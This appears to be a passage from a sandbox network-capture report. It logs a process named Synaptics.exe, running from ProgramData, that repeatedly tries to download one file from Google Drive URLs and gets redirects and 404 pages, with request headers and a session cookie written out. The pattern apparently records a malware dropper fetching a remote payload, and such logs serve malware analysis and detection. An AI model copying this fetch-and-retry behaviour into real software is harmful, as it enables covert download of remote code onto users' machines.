2024-12-30 03:59:30 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:30 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 31 6f 70 6e 4d 30 71 5a 4b 6f 6f 4c 5f 76 75 63 6a 35 72 6d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="l1opnM0qZKooL_vucj5rmw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:30 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49862	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:30 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4Cu1NUzd1xt5FYFxcONGcm_PxAcuGzuznSwVVcy8m3_pue8yP4m8t1Nm8JX3NBtxs1 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:30 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lp1vjZwqRCu2CrdcRbpMNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:30 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 4a 44 4c 4b 6f 38 64 48 4e 4d 62 51 78 5a 55 61 30 4d 44 4a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="GJDLKo8dHNMbQxZUa0MDJA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49864	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:30 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wTgqwlrzD9JIKxMjplswMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49868	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:31 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-PmJB4nBlnGIqasG5NcVAZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49869	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:31 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ixhOonxcsywuFsO1ly1Q4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49870	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:31 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:32 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5tB4ZSa22yKLtARIbndnmCJ_oZwwz63dpCk6Q_ClVYxd45NWERMSX98p1rv-5YSq8ofNhGwZQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:31 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EaziQ_cIt_9Dlp5jb-QkzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:32 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:32 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 63 74 44 36 41 2d 32 45 41 69 4c 67 6c 36 72 76 62 5f 39 51 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="DctD6A-2EAiLgl6rvb_9Qw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:32 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49873	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:32 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-KK017dvD5YDlc2gtgr9aww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49872	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:32 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:32 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC729wdkrE3hx8FyEGT0hnE-4MeTLK1MKnDV4cFtLG8bZ-wtfmQzpbuxegoYmQxJxJ6V Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:32 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-t4qd5EpHE6LSIUYWXf1fuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:32 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:32 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 76 71 51 44 70 64 30 70 78 6b 6d 4e 57 4e 4e 34 4a 39 64 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="avqQDpd0pxkmNWNN4J9dKA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:32 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49874	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:32 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
